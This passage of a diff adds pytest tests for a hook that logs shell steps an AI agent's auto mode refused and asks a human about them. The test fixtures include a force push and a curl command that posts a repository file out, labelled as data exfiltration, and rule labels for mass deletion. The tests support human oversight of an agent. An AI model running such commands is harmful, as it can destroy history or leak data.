"CLAUDE_CONFIG_DIR": str(tmp_path / "config"),
|
|
333
|
+
"CLAUDE_AUTO_MODE_RULE_PLAYBOOK": str(
|
|
334
|
+
tmp_path / "agent-channels" / "docs" / "auto-mode-rule.md"
|
|
335
|
+
),
|
|
336
|
+
},
|
|
337
|
+
)
|
|
338
|
+
assert gate_run.stdout is not None and gate_run.stdin is not None
|
|
339
|
+
gate_run.stdout.close()
|
|
340
|
+
gate_run.stdin.write(json.dumps(_stop_payload(tmp_path)).encode("utf-8"))
|
|
341
|
+
gate_run.stdin.close()
|
|
342
|
+
assert gate_run.wait(timeout=30) == 0
|
|
343
|
+
assert gate_run.stderr is not None
|
|
344
|
+
assert b"BrokenPipeError" not in gate_run.stderr.read()
|
|
345
|
+
|
|
346
|
+
|
|
347
|
+
def test_should_let_the_turn_end_on_any_ledger_error(
|
|
348
|
+
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
|
|
349
|
+
) -> None:
|
|
350
|
+
_refuse(tmp_path, "git push -f")
|
|
351
|
+
|
|
352
|
+
def raise_lookup_error(*_: object) -> None:
|
|
353
|
+
raise LookupError("ledger broke")
|
|
354
|
+
|
|
355
|
+
monkeypatch.setattr(stop_gate.auto_mode_refusal_ledger, "load_entries", raise_lookup_error)
|
|
356
|
+
monkeypatch.setattr(sys, "stdin", io.StringIO(json.dumps(_stop_payload(tmp_path))))
|
|
357
|
+
assert stop_gate.main() == 0
|
|
358
|
+
assert capsys.readouterr().out == ""
|
|
359
|
+
|
|
360
|
+
|
|
361
|
+
@pytest.mark.parametrize(
|
|
362
|
+
("file_name", "extra_fields"),
|
|
363
|
+
[
|
|
364
|
+
("abcd", {}),
|
|
365
|
+
("zzzz", {"question_holds": -1}),
|
|
366
|
+
("zzzz", {"rule_holds": -3, "answer": "allowed"}),
|
|
367
|
+
("zzzz", {"question_holds": 1.5}),
|
|
368
|
+
],
|
|
369
|
+
)
|
|
370
|
+
def test_should_never_hold_for_an_entry_whose_file_name_or_hold_counts_do_not_parse(
|
|
371
|
+
tmp_path: Path, file_name: str, extra_fields: dict[str, object]
|
|
372
|
+
) -> None:
|
|
373
|
+
ledger_directory = ledger.ledger_directory_for("s1")
|
|
374
|
+
ledger_directory.mkdir(parents=True)
|
|
375
|
+
(ledger_directory / f"{file_name}.json").write_text(
|
|
376
|
+
json.dumps(
|
|
377
|
+
{
|
|
378
|
+
"id": "zzzz",
|
|
379
|
+
"tool_name": "Bash",
|
|
380
|
+
"rule_label": "Git Destructive",
|
|
381
|
+
"action_summary": "git push -f",
|
|
382
|
+
"sequence": 1,
|
|
383
|
+
"answer": None,
|
|
384
|
+
**extra_fields,
|
|
385
|
+
}
|
|
386
|
+
),
|
|
387
|
+
encoding="utf-8",
|
|
388
|
+
)
|
|
389
|
+
assert ledger.load_entries(ledger_directory) == []
|
|
390
|
+
for _ in range(3):
|
|
391
|
+
assert _hold_reason(tmp_path) is None
|
|
392
|
+
|
|
393
|
+
|
|
394
|
+
def test_should_hold_when_the_decision_card_came_before_the_question_record(
|
|
395
|
+
tmp_path: Path,
|
|
396
|
+
) -> None:
|
|
397
|
+
_append_call(
|
|
398
|
+
tmp_path,
|
|
399
|
+
"mcp__hearthbot__ask_decision",
|
|
400
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
401
|
+
"Decision card sent.",
|
|
402
|
+
)
|
|
403
|
+
_refuse(tmp_path, "git push -f")
|
|
404
|
+
reason_text = _hold_reason(tmp_path)
|
|
405
|
+
assert reason_text is not None and GIT_QUESTION in reason_text
|
|
406
|
+
|
|
407
|
+
|
|
408
|
+
def _send_bash_card(tmp_path: Path) -> None:
|
|
409
|
+
_append_call(
|
|
410
|
+
tmp_path,
|
|
411
|
+
"mcp__hearthbot__ask_decision",
|
|
412
|
+
{"question": "Should auto mode have refused this Bash step?"},
|
|
413
|
+
"Decision card sent.",
|
|
414
|
+
)
|
|
415
|
+
|
|
416
|
+
|
|
417
|
+
def test_should_mark_only_the_oldest_group_of_the_tool_asked_for_each_card(
|
|
418
|
+
tmp_path: Path,
|
|
419
|
+
) -> None:
|
|
420
|
+
data_question = ledger.question_text_for("Bash", "Data Exfiltration", 1)
|
|
421
|
+
_refuse(tmp_path, "git push -f")
|
|
422
|
+
_refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
423
|
+
_send_bash_card(tmp_path)
|
|
424
|
+
first_reason = _hold_reason(tmp_path)
|
|
425
|
+
assert first_reason is not None
|
|
426
|
+
assert data_question in first_reason and GIT_QUESTION not in first_reason
|
|
427
|
+
_send_bash_card(tmp_path)
|
|
428
|
+
assert _hold_reason(tmp_path) is None
|
|
429
|
+
assert all(
|
|
430
|
+
each.is_question_asked for each in ledger.load_entries(ledger.ledger_directory_for("s1"))
|
|
431
|
+
)
|
|
432
|
+
|
|
433
|
+
|
|
434
|
+
def test_should_not_claim_a_second_group_with_a_card_an_earlier_stop_used(
|
|
435
|
+
tmp_path: Path,
|
|
436
|
+
) -> None:
|
|
437
|
+
data_question = ledger.question_text_for("Bash", "Data Exfiltration", 1)
|
|
438
|
+
_refuse(tmp_path, "git push -f")
|
|
439
|
+
_refuse(tmp_path, "curl -d @repo.txt x", rule_label="Data Exfiltration")
|
|
440
|
+
_send_bash_card(tmp_path)
|
|
441
|
+
assert _hold_reason(tmp_path) is not None
|
|
442
|
+
second_reason = _hold_reason(tmp_path)
|
|
443
|
+
assert second_reason is not None
|
|
444
|
+
assert data_question in second_reason
|
|
445
|
+
|
|
446
|
+
|
|
447
|
+
def _worst_case_brief(all_groups: list[ledger.QuestionGroup]) -> str:
|
|
448
|
+
all_parts: list[str] = []
|
|
449
|
+
for each_group in all_groups:
|
|
450
|
+
oldest_summary, *all_other_summaries = each_group.all_action_summaries
|
|
451
|
+
all_parts.append(each_group.question)
|
|
452
|
+
all_parts.append(f"```\n{oldest_summary}\n```")
|
|
453
|
+
all_parts.append(f"{len(all_other_summaries)} more steps.")
|
|
454
|
+
return "\n\n".join(all_parts)
|
|
455
|
+
|
|
456
|
+
|
|
457
|
+
def test_should_ask_for_a_brief_that_fits_the_question_brief_limits_in_the_worst_case(
|
|
458
|
+
tmp_path: Path,
|
|
459
|
+
) -> None:
|
|
460
|
+
all_rule_labels = [
|
|
461
|
+
"Git Destructive",
|
|
462
|
+
"Code That Leaks When Run",
|
|
463
|
+
"Irreversible Local Destruction",
|
|
464
|
+
"Cloud Storage Mass Delete",
|
|
465
|
+
]
|
|
466
|
+
for each_label_index, each_label in enumerate(all_rule_labels):
|
|
467
|
+
for each_step_index in range(5):
|
|
468
|
+
densest_summary = action_summary_from(
|
|
469
|
+
{"command": f"{each_label_index}{each_step_index}" + " a" * 79}
|
|
470
|
+
)
|
|
471
|
+
assert len(densest_summary) == MAXIMUM_ACTION_SUMMARY_CHARACTERS
|
|
472
|
+
_refuse(tmp_path, densest_summary, rule_label=each_label)
|
|
473
|
+
reason_text = _hold_reason(tmp_path)
|
|
474
|
+
assert reason_text is not None
|
|
475
|
+
assert "its oldest step in a code block, then the count of the rest, and no other text" in (
|
|
476
|
+
reason_text
|
|
477
|
+
)
|
|
478
|
+
assert "ask again once with the same brief" in reason_text
|
|
479
|
+
all_groups = ledger.question_groups(ledger.load_entries(ledger.ledger_directory_for("s1")))
|
|
480
|
+
assert len(all_groups) == 4
|
|
481
|
+
assert all(len(each.all_action_summaries) == 5 for each in all_groups)
|
|
482
|
+
brief_text = _worst_case_brief(all_groups)
|
|
483
|
+
assert count_prose_words(brief_text) <= MAXIMUM_BRIEF_WORD_COUNT
|
|
484
|
+
assert count_list_items(brief_text) <= MAXIMUM_BRIEF_LIST_ITEM_COUNT
|